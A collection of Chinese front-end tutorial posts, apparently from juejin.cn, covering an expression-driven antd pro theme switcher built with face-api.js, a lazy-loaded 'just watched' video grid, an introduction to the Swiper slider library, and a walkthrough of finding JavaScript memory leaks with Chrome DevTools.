17.gif


在线体验地址:dbfu.github.io/antd-pro-ex…,需要开启摄像头权限,不支持手机浏览器。


代码仓库地址:github.com/dbfu/antd-p…


前言


这个灵感来自于zxg_神说要有光大佬的写一个可以当镜子照的Button这篇文章,正好今天看了一个人脸识别的前端仓库,可以动态识别人的表情,本来想写一个“根据用户心情变色的按钮”,同事说能不能实现”根据用户心情自动切换系统主题“,我想了一下好像可以的。


实现思路


借助第三方库透过摄像头事实获取用户的表情,然后根据表情动态切换主题。


具体实现


先使用antd pro脚手架初始化一个antd pro项目


pro create antd-pro-expression-theme

安装face-api.js


pnpm i face-api.js

到仓库中下载源码,把weights文件夹复制到antd pro项目中的public文件夹下,这一步很关键,我被这个地方卡了一段时间。


改造antd pro项目,支持动态主题。


在src目录下创建expression.tsx标题组件


import { useEffect, useRef, useState } from 'react';
import * as faceapi from 'face-api.js';


const expressionMap: any = {
"neutral": '正常',
"happy": '开心',
"sad": '悲伤',
"surprised": '惊讶',
}

const Hidden = true;

function getExpressionResult(expression: any) {
if (!expression) return;
const keys = [
'neutral',
'happy',
'sad',
'angry',
'fearful',
'disgusted',
'surprised',
];

const curExpression = keys.reduce((prev: string, cur: string) => {
if (!prev) {
return cur;
} else {
return expression[cur] > expression[prev] ? cur : prev;
}
}, '');
return curExpression;
}

export function Expression({
onExpressionChange,
}:
any
) {

const videoRef = useRef<HTMLVideoElement>(null);
const [expression, setExpression] = useState<string | undefined>('');

useEffect(() => {
if (onExpressionChange) {
onExpressionChange(expression);
}
}, [expression]);

async function run() {
await faceapi.nets.tinyFaceDetector.load('/widgets/');

await faceapi.loadSsdMobilenetv1Model('/widgets/');
await faceapi.loadFaceLandmarkModel('/widgets/');
await faceapi.loadFaceExpressionModel('/widgets/');

const stream = await navigator.mediaDevices.getUserMedia({ video: {} });
if (videoRef.current) {
videoRef.current.srcObject = stream;
}
}

useEffect(() => {
run();
}, []);

async function onPlay(): Promise<any> {

const videoEl = videoRef.current;

if (!videoEl) return;

if (videoEl.paused || videoEl.ended) return setTimeout(() => onPlay());

const result = await faceapi
.detectSingleFace(videoEl)
.withFaceExpressions();

setExpression(getExpressionResult(result?.expressions))

setTimeout(() => onPlay());
}

return (
<div style={{ opacity: Hidden ? 0 : 1 }} >
<video
style={{
background: '#fff',
width: 640,
height: 480,
position: 'fixed',
top: 0,
left: 0,
zIndex: Hidden ? 0 : 10001
}}
onLoadedMetadata={() =>
{ onPlay() }}
id="inputVideo"
autoPlay
muted
playsInline
ref={videoRef}
/>
<div
style={{
opacity: 1,
width: 640,
height: 480,
position: 'fixed',
top: 0,
left: 0,
zIndex: 10001,
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
color: '#fff',
}}
>

{expressionMap?.[expression || 'neutral']}
div>

div>
)
}

这样就简单的获取到了表情,目前我就支持了正常、开心、惊讶、伤心四种表情,实际上他还支持其他一些表情,大家可以自己去体验一下。我主要参考了这个demo,这里面还有其他demo大家可以去体验一下。
如果不想显示视频,把上Hidden变量设置为true就行了。


在src目录下创建theme-provider.tsx文件


import { ConfigProvider } from 'antd';
import throttle from 'lodash/throttle';

import { Expression } from './expression';
import { useMemo, useState } from 'react';

export default function ThemeProvider({ children }: any) {

const [theme, setTheme] = useState<string>('');

const expressionChange = useMemo(
() => throttle((expression: string) => {
const map: any = {
happy: 'rgb(245, 34, 45)',
sad: 'rgb(192, 192, 192)',
surprised: 'rgb(250, 173, 20)',
};

setTheme(map[expression] ? map[expression] : 'rgb(22, 119, 255)')
}, 1000), [])


return (
<ConfigProvider theme={{
token: {
colorPrimary: theme || 'rgb(22, 119, 255)',
}
}}>

<Expression onExpressionChange={expressionChange} />
{children}
ConfigProvider>

)
}

这个文件用来监听表情变化,然后动态设置主题,目前也是只支持了正常、开心、惊讶、伤心四种主题。


最后在src/app.tsx使用theme-provider组件,并删除下面截图中的代码,不然我们的主题会被默认主题覆盖掉,导致不能改主题。


export function rootContainer(container: any) {
return React.createElement(ThemeProvider, null, container);
}

image.png


然后启动项目就行了。第一次获取表情有点慢,可能要等一会。


总结


这个功能看似没用,实则真没用,主要是想整个活让大家乐一下。大家应该还记得以前有个比较热门的话题吧,根据手机壳改变主题颜色,如果能通过摄像头获取到手机壳的颜色,好像也不是不行🐶。


在线体验地址:dbfu.github.io/antd-pro-ex…,需要开启摄像头权限。


代码仓库地址:github.com/dbfu/antd-p…


作者:前端小付
来源:juejin.cn/post/7226385396167704634
收起阅读 »

实现抖音“刚刚看过”的功能(原生js的写法)

web
先上一下效果图吧 点击一下刚刚看过的按钮就会滚动到视频的位置 实现这个效果,如果不考虑效率问题肯定是非常简单,但是我们就是要考虑这个传输效率的问题 比方说这个主页有2000条视频,但是目前看的视频在第1900个,那需要滑到这第1900个视频的位置,不可能把...
继续阅读 »

先上一下效果图吧


点击一下刚刚看过的按钮就会滚动到视频的位置
image.png


image.png


实现这个效果,如果不考虑效率问题肯定是非常简单,但是我们就是要考虑这个传输效率的问题


比方说这个主页有2000条视频,但是目前看的视频在第1900个,那需要滑到这第1900个视频的位置,不可能把之前所有的视频都加载出来吧,这样子的话这效率太低了吧,传输量加上请求,怎么可能吃得消
所以这个时候我们只需要创建好元素,但是不需要向服务器要这1900个视频的内容,我只要创建好元素,就可以滑动到这个视频的位置了,那要怎么加载这视频的内容呢?那就是判断用户看到哪一块,看到哪,我们加载到哪,类似于懒加载的效果


所以我这里提供一个思路,最主要的就是两个关键函数(createELement,loadPages)


createElement(page)的作用就是传入页码,他就会创建好这页面加上之前所有的元素,这个函数只管创建好元素,内容不归他管,内容等到后面在进行加载


loadPages()这个函数就是根据用户当前能看到第几页,那么就把第几页的内容加载出来,看到哪就加载哪个页面的数据,这里还需要考虑到两个页面重叠,都需要加载出来


那么首先来准备好html


<div class="contain"></div> //放置内容的盒子
<div class="btn"> //刚刚看过的按钮
<button class="full-rounded">
<span>刚刚看过</span>
<div class="border full-rounded"></div>
</button>
</div>

当然css样式也是要准备好的,可以根据自己公司的UI设计图来写


body {
background-color: #000;
padding: 100px 300px;
}

.contain {
width: 100%;
height: 100%;
display: grid; //宫格布局
grid-template-columns: repeat(5, 1fr);
grid-column-gap: 50px; //每一列的间距
grid-row-gap: 80px; //每一行的间距
}
.item {
width: 200px;
height: 300px;
border: 1px solid #fff;
}
.playing {
width: 200px;
height: 300px;
position: relative;
}
.playing img {
filter: blur(3px);
-webkit-filter: blur(3px);
}
.playing::after {
content: "播放中";
position: absolute;
top: 0;
left: 0;
width: 200px;
height: 300px;
font-size: 20px;
font-weight: bold;
color: white;
display: flex;
justify-content: center;
align-items: center;
}
.btn {
position: fixed;
bottom: 100px;
left: 50%;
transform: translateX(-50%);
}
button {
font-size: 16px;
position: relative;
margin: auto;
padding: 1em 2.5em 1em 2.5em;
border: none;
background: #fff;
transition: all 0.1s linear;
box-shadow: 0 0.4em 1em rgba(0, 0, 0, 0.1);
}
button:hover {
cursor: pointer;
}
button:active {
transform: scale(0.95);
}

button span {
color: #464646;
}

button .border {
position: absolute;
border: 0.15em solid #fff;
transition: all 0.3s 0.08s linear;
top: 50%;
left: 50%;
width: 9em;
height: 3em;
transform: translate(-50%, -50%);
}

button:hover .border {
display: block;
width: 9.9em;
height: 3.7em;
}

.full-rounded {
border-radius: 2em;
}

这些都不是最重要的


还有一些工具函数


1.getOffset(id) 来获取当前视频前面有多少个视频


这个根据实际情况来做,正常情况这里是向服务端获取的,我这里就模拟了一下请求


// 传入当前视频的id就可以获取之前有多少个视频
function getOffset(id) {
return new Promise((res, rej) => {
let result = id - 1;
res(result);
});
}

2.getVideo(page,size)


获取页面的资源
同样这里也是向服务端发请求获取的,我这里也是自己模拟


// 传入页码和每页多少条,即可获取图片数据
function getVideo(page, size) {
return new Promise((res) => {
let arr = [];
// 上一页有多少个,从哪开始num
let num = (page - 1) * size;
for (let i = 0; i < size; i++) {
let obj = {
id: num + i,
cover: `https://picsum.photos/200/300?id=${num + i}`,
};
arr.push(obj);
}
res(arr);
});
}

3.getIndexRange(page,size)


获取这个页码的最小索引和最大索引


// 传入页码和大小算出这个页码的起始和结束下标
function getIndexRange(page, size) {
let start = (page - 1) * size;
let end = start + size - 1;
return [start, end];
}

4.debounce(fn,deplay=300)


这个就是防抖啦,让loadpage函数不要执行太多次,节省性能


function debounce(fn, delay = 300) {
let timer = null;
return function (...args) {
clearTimeout(timer);
timer = setTimeout(() => {
fn.apply(this, args);
}, delay);
};
}

5.getPage(index,size)


传入当前视频的下标和页面大小,返回当前视频在第几页


function getPage(index, size) {
return Math.ceil((index + 1) / size);
}

以上都是工具函数


准备工作


1.定义好一页需要多少元素


const SIZE = 15;
// 刚刚看过视频的id
const currentId = 200;
// 页码
let i = 1;

2.获取页面两个重点元素


let contain = document.querySelector(".contain");
let btn = document.querySelector(".btn");

现在来写最重要的函数


1.createElement(page)


传入页码即可创建好这个页面包括之前的所有元素

步骤:

1.算出需要创建多少元素page*size

2.创建item添加到contain元素的children中

3.给每个item添加侦查器,判断是否出现在视口内


function createElement(page) {
// 防止一页重复创建
const childLen = contain.children.length;
const count = page * SIZE - childLen;
for (let i = 0; i < count; i++) {
const item = document.createElement("div");
item.className = "item";
item.dataset.index = i + childLen;
contain.appendChild(item);
ob.observe(item); //侦查器,判断是否出现在视口内
}
}

2.视口观察器


const visibleIndex = new Set(); //全局创建一个不重复的集合
let ob = new IntersectionObserver((entries) => {
for (const e of entries) {
const index = e.target.dataset.index;
//isIntersecting为true就代表在视口内
if (e.isIntersecting) {
visibleIndex.add(index);
} else {
visibleIndex.delete(index);
}
}
debounceLoadPage();// 防抖后的loadpage
});

3.获取集合的最大及最小的索引


function getRange() {
if (visibleIndex.size === 0) return [0, 0];
const max = Math.max(...visibleIndex);
const min = Math.min(...visibleIndex);
return [min, max];
}

4.加载视口内的元素的资源


      function loadPage() {
// 得到当前能看到的元素索引范围
const [minIndex, maxIndex] = getRange();
const pages = new Set(); // 不重复的页码集合
for (let i = minIndex; i <= maxIndex; i++) {
pages.add(getPage(i, SIZE));// 遍历将侦查器集合范围内的所在页面都加入到pages的集合内
}
// 遍历页码集合
for (const page of pages) {
const [minIndex, maxIndex] = getIndexRange(page, SIZE);//获取页码的索引范围
if (contain.children[minIndex].dataset.loaded) { //如果页码最小索引的元素有自定义属性就跳过,代表加载过
continue;
}
contain.children[minIndex].dataset.loaded = true;//如果没有就代表没有加载过,添加上自定义属性
//将当前页码传给获取资源的函数
getVideo(page, SIZE).then((res) => {
//拿到当前页面需要的数据数组,遍历渲染到页面上
for (let i = minIndex; i < maxIndex; i++) {
const item = contain.children[i];
item.innerHTML = `<img src="${res[i - minIndex].cover}" alt="">`;
}
});
}
}

// 创建防抖加载函数,将loadpage函数防抖
const debounceLoadPage = debounce(loadPage, 300);

5.判断刚刚看过的按钮是否显示


// 页面进来就需要触发获取当前视频之前有多少个视频,判断按钮是否显示
      async function setVisible() {
        // 获取之前有多少个视频
        let offest = await getOffset(currentId);
        let [minIndex, maxIndex] = getRange();

        // 返回告诉你第几页
        const page = getPage(offest, SIZE);
        if (offest >= minIndex && offest <= maxIndex) {
          btn.style.display = "none";
        } else {
          btn.style.display = "block";
        }
        btn.dataset.page = page;
        btn.dataset.index = offest;
      }

6.给按钮添加点击事件,滚动到指定位置


btn.onclick = () => {
const page = +btn.dataset.page;
const index = +btn.dataset.index;
i = page; // 跳转将页码更新
createElement(page);
contain.children[index].scrollIntoView({
behavior: "smooth",
block: "center",
});
contain.children[index].classList.add("playing");
btn.style.display = "none";
};

7.给window添加滚动事件,页面触底页码加一


window.addEventListener("scroll", () => {
//窗口高度
var windowHeight =
document.documentElement.clientHeight || document.body.clientHeight;
//滚动高度
var scrollTop =
document.documentElement.scrollTop || document.body.scrollTop;
//页面高度
var documentHeight =
document.documentElement.scrollHeight || document.body.scrollHeight;

if (windowHeight + scrollTop == documentHeight) {
createElement(i++); //页面触底就页码加一
}
});

完整代码


<body>
<div class="contain"></div>
<div class="btn">
<button class="full-rounded">
<span>刚刚看过</span>
<div class="border full-rounded"></div>
</button>
</div>

<script src="./api.js"></script>
<script src="./index.js"></script>
<script>
const SIZE = 15;
let contain = document.querySelector(".contain");
let btn = document.querySelector(".btn");
// 页码
let i = 1;

const visibleIndex = new Set();

// 视口观察器
let ob = new IntersectionObserver((entries) => {
for (const e of entries) {
const index = e.target.dataset.index;
if (e.isIntersecting) {
// 将在视口内的元素添加到集合内
visibleIndex.add(index);
} else {
// 将不在视口内的元素从集合内删除
visibleIndex.delete(index);
}
}
debounceLoadPage();
});

function getRange() {
if (visibleIndex.size === 0) return [0, 0];
const max = Math.max(...visibleIndex);
const min = Math.min(...visibleIndex);
return [min, max];
}

// 创建元素
function createElement(page) {
// 防止一页重复创建
const childLen = contain.children.length;
const count = page * SIZE - childLen;
for (let i = 0; i < count; i++) {
const item = document.createElement("div");
item.className = "item";
item.dataset.index = i + childLen;
contain.appendChild(item);
ob.observe(item);
}
}

// 得到当前能看到的元素索引范围
function loadPage() {
const [minIndex, maxIndex] = getRange();
const pages = new Set();
for (let i = minIndex; i <= maxIndex; i++) {
pages.add(getPage(i, SIZE));
}
for (const page of pages) {
const [minIndex, maxIndex] = getIndexRange(page, SIZE);
if (contain.children[minIndex].dataset.loaded) {
continue;
}
contain.children[minIndex].dataset.loaded = true;
getVideo(page, SIZE).then((res) => {
for (let i = minIndex; i < maxIndex; i++) {
const item = contain.children[i];
item.innerHTML = `<img src="${res[i - minIndex].cover}" alt="">`;
}
});
}
}

// 创建防抖加载函数
const debounceLoadPage = debounce(loadPage, 300);

// 刚刚看过视频的id
const currentId = 200;

// 页面进来就需要触发获取之前有多少个视频,判断按钮是否显示
async function setVisible() {
// 获取之前有多少个视频
let offest = await getOffset(currentId);
let [minIndex, maxIndex] = getRange();
// 返回告诉你第几页
const page = getPage(offest, SIZE);
if (offest >= minIndex && offest <= maxIndex) {
btn.style.display = "none";
} else {
btn.style.display = "block";
}
btn.dataset.page = page;
btn.dataset.index = offest;
}

btn.onclick = () => {
const page = +btn.dataset.page;
const index = +btn.dataset.index;
i = page;
createElement(page);
contain.children[index].scrollIntoView({
behavior: "smooth",
block: "center",
});
contain.children[index].classList.add("playing");
btn.style.display = "none";
};

window.addEventListener("scroll", () => {
//窗口高度
var windowHeight =
document.documentElement.clientHeight || document.body.clientHeight;
//滚动高度
var scrollTop =
document.documentElement.scrollTop || document.body.scrollTop;
//页面高度
var documentHeight =
document.documentElement.scrollHeight || document.body.scrollHeight;

if (windowHeight + scrollTop == documentHeight) {
createElement(i++);
}
});
createElement(i);
setVisible();
</script>
</body>


🔥🔥🔥🔥🔥🔥到这里就实现了抖音的刚刚看过的功能!!!!!🔥🔥🔥🔥🔥🔥🔥🔥🔥


作者:井川不擦
来源:juejin.cn/post/7257441472445644855
收起阅读 »

Swiper,一款超赞的 JavaScript 滑动库?

web
嗨,大家好,欢迎来到猿镇,我是镇长,lee。 又到了和大家见面的时间,今天分享一款 JavaScript 滑动库 - Swiper。Swiper 不仅是一个简单的滑动库,更是一个全面的滑动解决方案,让你轻松创建出各种炫酷的滑动效果。 git...
继续阅读 »

嗨,大家好,欢迎来到猿镇,我是镇长,lee。


又到了和大家见面的时间,今天分享一款 JavaScript 滑动库 - SwiperSwiper 不仅是一个简单的滑动库,更是一个全面的滑动解决方案,让你轻松创建出各种炫酷的滑动效果。


github.com/nolimits4we…


什么是Swiper?


Swiper 是一个基于现代触摸滑动的 Javascript 库,用于创建轮播、幻灯片以及任何需要滑动的网页组件。它的灵活性和强大功能使得开发者能够实现各种复杂的滑动效果,而不需要深入了解复杂的滑动原理。


为什么选择Swiper?



  • 易于使用:  Swiper 提供了简单易懂的 API 和文档,使得即便是初学者也能轻松上手。只需几行代码,你就可以创建一个漂亮的轮播。

  • 跨平台兼容:  Swiper 支持多平台,包括PC、移动端和平板电脑,确保你的滑动效果在各种设备上都能够流畅运行。

  • 丰富的配置选项:  你可以根据自己的需求定制 Swiper 的各种参数,如滑动速度、自动播放、循环模式等,满足不同场景的需求。


如何开始使用Swiper?


步骤1:引入Swiper


首先,你需要在你的项目中引入 Swiper 库。你可以选择使用 CDN,也可以通过 npm 或 yarn 进行安装。



<link
  rel="stylesheet"
  href="https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.css"
/>


<script src="https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.js">script>

步骤2:创建HTML结构


创建一个包裹你滑动内容的容器,并添加滑动项。


<div class="swiper">
      <div class="swiper-wrapper">
        <div class="swiper-slide">Slide 1div>
        <div class="swiper-slide">Slide 2div>
        <div class="swiper-slide">Slide 3div>
        
      div>
      
      <div class="swiper-pagination">div>

      
      <div class="swiper-button-prev">div>
      <div class="swiper-button-next">div>
    div>

设置样式


.swiper {
      width600px,
    height: 300px;
}
.swiper-slide {
    background-color: red; // 设置背景色方便查看效果
}

步骤3:初始化Swiper


使用 Javascript 初始化 Swiper,并传入配置选项。


var mySwiper = new Swiper('.swiper-container', {
  // 配置项
  // 可选参数
  looptrue,

  // 分页器
  pagination: {
    el'.swiper-pagination',
  },

  // 导航箭头
  navigation: {
    nextEl'.swiper-button-next',
    prevEl'.swiper-button-prev',
  },
});

步骤4:享受滑动的乐趣


你已经成功集成了 Swiper,现在你可以在网页上看到炫丽的滑动效果了。


1.gif


进阶用法


Swiper 提供了许多高级用法和定制选项,以适应各种复杂的需求。以下是一些Swiper的高级用法:


1. 自定义动画和过渡效果


通过使用 Swiper 的effect属性,你可以指定不同的过渡效果,例如 "slide"、"fade"、"cube"等。这可以为你的滑动项添加独特的动画效果。


var mySwiper = new Swiper('.swiper-container', {
  effect'cube',
  cubeEffect: {
    slideShadowsfalse,
    shadowfalse,
  },
});

2. 动态添加或删除滑动项


通过 Swiper 的API,你可以在运行时动态地添加或删除滑动项。这在需要根据用户操作或数据变化来更新滑动项时非常有用。


// 添加新的滑动项
mySwiper.addSlide(0'New Slide
');

// 删除指定索引的滑动项
mySwiper.removeSlide(1);

3. 深度定制分页器和导航按钮


入门示例中简单引入了分页器,Swiper 的分页器和导航按钮可以进行高度的自定义。你可以通过自定义HTML、样式和事件来实现自己想要的分页器和导航按钮效果。


var mySwiper = new Swiper('.swiper-container', {
  pagination: {
    el'.swiper-pagination',
    clickabletrue,
    renderBulletfunction (index, className) {
      return ' + className + '">' + (index + 1) + '';
    },
  },
  
navigation: {
    
nextEl'.swiper-button-next',
    
prevEl'.swiper-button-prev',
  },
});

4. 使用Swiper插件


Swiper 支持插件系统,你可以使用一些第三方插件来增强 Swiper 的功能,例如 Swiper 的滚动条插件、懒加载插件等。通过导入并配置插件,你可以轻松地扩展 Swiper 的能力。


// 导入并使用懒加载插件
import SwiperCore, { Lazy } from 'swiper/core';
SwiperCore.use([Lazy]);

var mySwiper = new Swiper('.swiper-container', {
  // 启用懒加载
  lazytrue,
});

swiperjs.com/plugins


5.gif


5. 响应式设计


Swiper 允许你根据不同的屏幕尺寸设置不同的配置选项,实现响应式设计。这样,你可以在不同设备上提供最佳的用户体验。


var mySwiper = new Swiper('.swiper-container', {
  slidesPerView: 3,
  spaceBetween: 30,
  breakpoints: {
    // 当窗口宽度小于等于 768 像素时
    768: {
      slidesPerView: 2,
      spaceBetween: 20,
    },
    // 当窗口宽度小于等于 480 像素时
    480: {
      slidesPerView: 1,
      spaceBetween: 10,
    },
  },
});

这些高级用法展示了 Swiper 库的强大功能和灵活性,深入了解这些特性将使你能够更好地适应各种项目需求。


示例演示


2.gif


3.gif


4.gif


结语


通过 Swiper,你可以轻松实现网页上的各种滑动效果,为用户提供更加出色的交互体验。它的简单易用性和丰富的功能使其成为前端开发中不可或缺的利器。不论你是新手还是有经验的开发者,都值得深入了解 Swiper ,为你的网页增添一份技术的魔法。


更多


今天的分享就到这里,如果觉得对你有帮助,感谢点赞、分享、关注一波,你的认可是我创造的最大动力。


作者:繁华落尽丶lee
来源:juejin.cn/post/7309061655094575139
收起阅读 »

没用的东西,你连个内存泄漏都排查不出来!!

web
背景 ui妹子的无理要求,我通通满足了。但是不出意外的话,意外就出来了。 此功能在上线之后,我们的业务在客户app内使用刷脸的时候会因为内存过高导致app将webview杀死。 然后我们leader爆了,让我排查问题。可是可是,我哪里会排查内存泄漏呀。 我:...
继续阅读 »

背景



  • ui妹子的无理要求,我通通满足了。但是不出意外的话,意外就出来了。

  • 此功能在上线之后,我们的业务在客户app内使用刷脸的时候会因为内存过高导致app将webview杀死。

  • 然后我们leader爆了,让我排查问题。可是可是,我哪里会排查内存泄漏呀。

  • 我:我不会。你自己不会上吗?你tm天天端个茶,抽个烟,翘个二郎腿,色眯眯的看着ui妹妹。

  • 领导:污蔑,你纯粹就是污蔑。我tm现在就可以让你滚蛋,你信吗?

  • 我:我怕你个鸟哦,我还不知道你啥水平,你tm能写出来个防抖节流,我就给你磕头。

  • 领导:hi~ui妹妹,今天过的好吗,来,哥哥这里有茶喝。(此时ui妹妹路过)。你赶快给我干活,以后ui妹妹留给你。

  • 艹!你早这么说不就好了。





开始学习


Chrome devTools查看内存情况




  • 打开Chrome的无痕模式,这样做的目的是为了屏蔽掉Chrome插件对我们之后测试内存占用情况的影响

  • 打开开发者工具,找到Performance这一栏,可以看到其内部带着一些功能按钮,例如:开始录制按钮;刷新页面按钮;清空记录按钮;记录并可视化js内存、节点、事件监听器按钮;触发垃圾回收机制按钮等




简单录制一下百度页面,看看我们能获得什么,如下动图所示:




从上图中我们可以看到,在页面从零到加载完成这个过程中JS Heap(js堆内存)、documents(文档)、Nodes(DOM节点)、Listeners(监听器)、GPU memoryGPU内存)的最低值、最高值以及随时间的走势曲线,这也是我们主要关注的点



看看开发者工具中的Memory一栏,其主要是用于记录页面堆内存的具体情况以及js堆内存随加载时间线动态的分配情况



堆快照就像照相机一样,能记录你当前页面的堆内存情况,每快照一次就会产生一条快照记录




如上图所示,刚开始执行了一次快照,记录了当时堆内存空间占用为33.7MB,然后我们点击了页面中某些按钮,又执行一次快照,记录了当时堆内存空间占用为32.5MB。并且点击对应的快照记录,能看到当时所有内存中的变量情况(结构、占总占用内存的百分比...)





在开始记录后,我们可以看到图中右上角有起伏的蓝色与灰色的柱形图,其中蓝色表示当前时间线下占用着的内存;灰色表示之前占用的内存空间已被清除释放



在得知有内存泄漏的情况存在时,我们可以改用Memory来更明确得确认问题和定位问题


首先可以用Allocation instrumentation on timeline来确认问题,如下图所示:



内存泄漏的场景



  • 闭包使用不当引起内存泄漏

  • 全局变量

  • 分离的DOM节点

  • 控制台的打印

  • 遗忘的定时器


1. 闭包使用不当引起内存泄漏


使用PerformanceMemory来查看一下闭包导致的内存泄漏问题


<button onclick="myClick()">执行fn1函数button>
<script>
function fn1 () {
let a = new Array(10000) // 这里设置了一个很大的数组对象

let b = 3

function fn2() {
let c = [1, 2, 3]
}

fn2()

return a
}

let res = []

function myClick() {
res.
push(fn1())
}
script>


在退出fn1函数执行上下文后,该上下文中的变量a本应被当作垃圾数据给回收掉,但因fn1函数最终将变量a返回并赋值给全局变量res,其产生了对变量a的引用,所以变量a被标记为活动变量并一直占用着相应的内存,假设变量res后续用不到,这就算是一种闭包使用不当的例子



设置了一个按钮,每次执行就会将fn1函数的返回值添加到全局数组变量res中,是为了能在performacne的曲线图中看出效果,如图所示:




  • 在每次录制开始时手动触发一次垃圾回收机制,这是为了确认一个初始的堆内存基准线,便于后面的对比,然后我们点击了几次按钮,即往全局数组变量res中添加了几个比较大的数组对象,最后再触发一次垃圾回收,发现录制结果的JS Heap曲线刚开始成阶梯式上升的,最后的曲线的高度比基准线要高,说明可能是存在内存泄漏的问题

  • 在得知有内存泄漏的情况存在时,我们可以改用Memory来更明确得确认问题和定位问题

  • 首先可以用Allocation instrumentation on timeline来确认问题,如下图所示:




  • 在我们每次点击按钮后,动态内存分配情况图上都会出现一个蓝色的柱形,并且在我们触发垃圾回收后,蓝色柱形都没变成灰色柱形,即之前分配的内存并未被清除

  • 所以此时我们就可以更明确得确认内存泄漏的问题是存在的了,接下来就精准定位问题,可以利用Heap snapshot来定位问题,如图所示:




  • 第一次先点击快照记录初始的内存情况,然后我们多次点击按钮后再次点击快照,记录此时的内存情况,发现从原来的1.1M内存空间变成了1.4M内存空间,然后我们选中第二条快照记录,可以看到右上角有个All objects的字段,其表示展示的是当前选中的快照记录所有对象的分配情况,而我们想要知道的是第二条快照与第一条快照的区别在哪,所以选择Object allocated between Snapshot1 and Snapshot2即展示第一条快照和第二条快照存在差异的内存对象分配情况,此时可以看到Array的百分比很高,初步可以判断是该变量存在问题,点击查看详情后就能查看到该变量对应的具体数据了


以上就是一个判断闭包带来内存泄漏问题并简单定位的方法了


2. 全局变量


全局的变量一般是不会被垃圾回收掉的当然这并不是说变量都不能存在全局,只是有时候会因为疏忽而导致某些变量流失到全局,例如未声明变量,却直接对某变量进行赋值,就会导致该变量在全局创建,如下所示:


function fn1() {
// 此处变量name未被声明
name = new Array(99999999)
}

fn1()


  • 此时这种情况就会在全局自动创建一个变量name,并将一个很大的数组赋值给name,又因为是全局变量,所以该内存空间就一直不会被释放

  • 解决办法的话,自己平时要多加注意,不要在变量未声明前赋值,或者也可以开启严格模式,这样就会在不知情犯错时,收到报错警告,例如


function fn1() {
'use strict';
name = new Array(99999999)
}

fn1()

3. 分离的DOM节点


假设你手动移除了某个dom节点,本应释放该dom节点所占用的内存,但却因为疏忽导致某处代码仍对该被移除节点有引用,最终导致该节点所占内存无法被释放,例如这种情况


<div id="root">
<div class="child">我是子元素div>
<button>移除button>
div>
<script>
let btn = document.querySelector('button')
let child = document.querySelector('.child')
let root = document.querySelector('#root')

btn.
addEventListener('click', function() {
root.
removeChild(child)
})
script>


该代码所做的操作就是点击按钮后移除.child的节点,虽然点击后,该节点确实从dom被移除了,但全局变量child仍对该节点有引用,所以导致该节点的内存一直无法被释放,可以尝试用Memory的快照功能来检测一下,如图所示





同样的先记录一下初始状态的快照,然后点击移除按钮后,再点击一次快照,此时内存大小我们看不出什么变化,因为移除的节点占用的内存实在太小了可以忽略不计,但我们可以点击第二条快照记录,在筛选框里输入detached,于是就会展示所有脱离了却又未被清除的节点对象



解决办法如下图所示:


<div id="root">
<div class="child">我是子元素div>
<button>移除button>
div>
<script>
let btn = document.querySelector('button')

btn.
addEventListener('click', function() {
let child = document.querySelector('.child')
let root = document.querySelector('#root')

root.
removeChild(child)
})

script>


改动很简单,就是将对.child节点的引用移动到了click事件的回调函数中,那么当移除节点并退出回调函数的执行上文后就会自动清除对该节点的引用,那么自然就不会存在内存泄漏的情况了,我们来验证一下,如下图所示:




结果很明显,这样处理过后就不存在内存泄漏的情况了


4. 控制台的打印


<button>按钮button>
<script>
document.querySelector('button').addEventListener('click', function() {
let obj = new Array(1000000)

console.log(obj);
})
script>

我们在按钮的点击回调事件中创建了一个很大的数组对象并打印,用performance来验证一下




开始录制,先触发一次垃圾回收清除初始的内存,然后点击三次按钮,即执行了三次点击事件,最后再触发一次垃圾回收。查看录制结果发现JS Heap曲线成阶梯上升,并且最终保持的高度比初始基准线高很多,这说明每次执行点击事件创建的很大的数组对象obj都因为console.log被浏览器保存了下来并且无法被回收



接下来注释掉console.log,再来看一下结果:


<button>按钮button>
<script>
document.querySelector('button').addEventListener('click', function() {
let obj = new Array(1000000)

// console.log(obj);
})
script>


可以看到没有打印以后,每次创建的obj都立马被销毁了,并且最终触发垃圾回收机制后跟初始的基准线同样高,说明已经不存在内存泄漏的现象了


其实同理 console.log也可以用Memory来进一步验证


未注释 console.log



注释掉了console.log




最后简单总结一下:在开发环境下,可以使用控制台打印便于调试,但是在生产环境下,尽可能得不要在控制台打印数据。所以我们经常会在代码中看到类似如下的操作:



// 如果在开发环境下,打印变量obj
if(isDev) {
console.log(obj)
}


这样就避免了生产环境下无用的变量打印占用一定的内存空间,同样的除了console.log之外,console.errorconsole.infoconsole.dir等等都不要在生产环境下使用



5. 遗忘的定时器



定时器也是平时很多人会忽略的一个问题,比如定义了定时器后就再也不去考虑清除定时器了,这样其实也会造成一定的内存泄漏。来看一个代码示例:



<button>开启定时器button>
<script>

function fn1() {
let largeObj = new Array(100000)

setInterval(() => {
let myObj = largeObj
},
1000)
}

document.querySelector('button').addEventListener('click', function() {
fn1()
})
script>

这段代码是在点击按钮后执行fn1函数,fn1函数内创建了一个很大的数组对象largeObj,同时创建了一个setInterval定时器,定时器的回调函数只是简单的引用了一下变量largeObj,我们来看看其整体的内存分配情况吧:



按道理来说点击按钮执行fn1函数后会退出该函数的执行上下文,紧跟着函数体内的局部变量应该被清除,但图中performance的录制结果显示似乎是存在内存泄漏问题的,即最终曲线高度比基准线高度要高,那么再用Memory来确认一次:




  • 在我们点击按钮后,从动态内存分配的图上看到出现一个蓝色柱形,说明浏览器为变量largeObj分配了一段内存,但是之后这段内存并没有被释放掉,说明的确存在内存泄漏的问题,原因其实就是因为setInterval的回调函数内对变量largeObj有一个引用关系,而定时器一直未被清除,所以变量largeObj的内存也自然不会被释放

  • 那么我们如何来解决这个问题呢,假设我们只需要让定时器执行三次就可以了,那么我们可以改动一下代码:


<button>开启定时器button>
<script>
function fn1() {
let largeObj = new Array(100000)
let index = 0

let timer = setInterval(() => {
if(index === 3) clearInterval(timer);
let myObj = largeObj
index ++
},
1000)
}

document.querySelector('button').addEventListener('click', function() {
fn1()
})
script>

现在我们再通过performancememory来看看还不会存在内存泄漏的问题



  • performance




这次的录制结果就能看出,最后的曲线高度和初始基准线的高度一样,说明并没有内存泄漏的情况




  • memory



这里做一个解释,图中刚开始出现的蓝色柱形是因为我在录制后刷新了页面,可以忽略;然后我们点击了按钮,看到又出现了一个蓝色柱形,此时就是为fn1函数中的变量largeObj分配了内存,3s后该内存又被释放了,即变成了灰色柱形。所以我们可以得出结论,这段代码不存在内存泄漏的问题



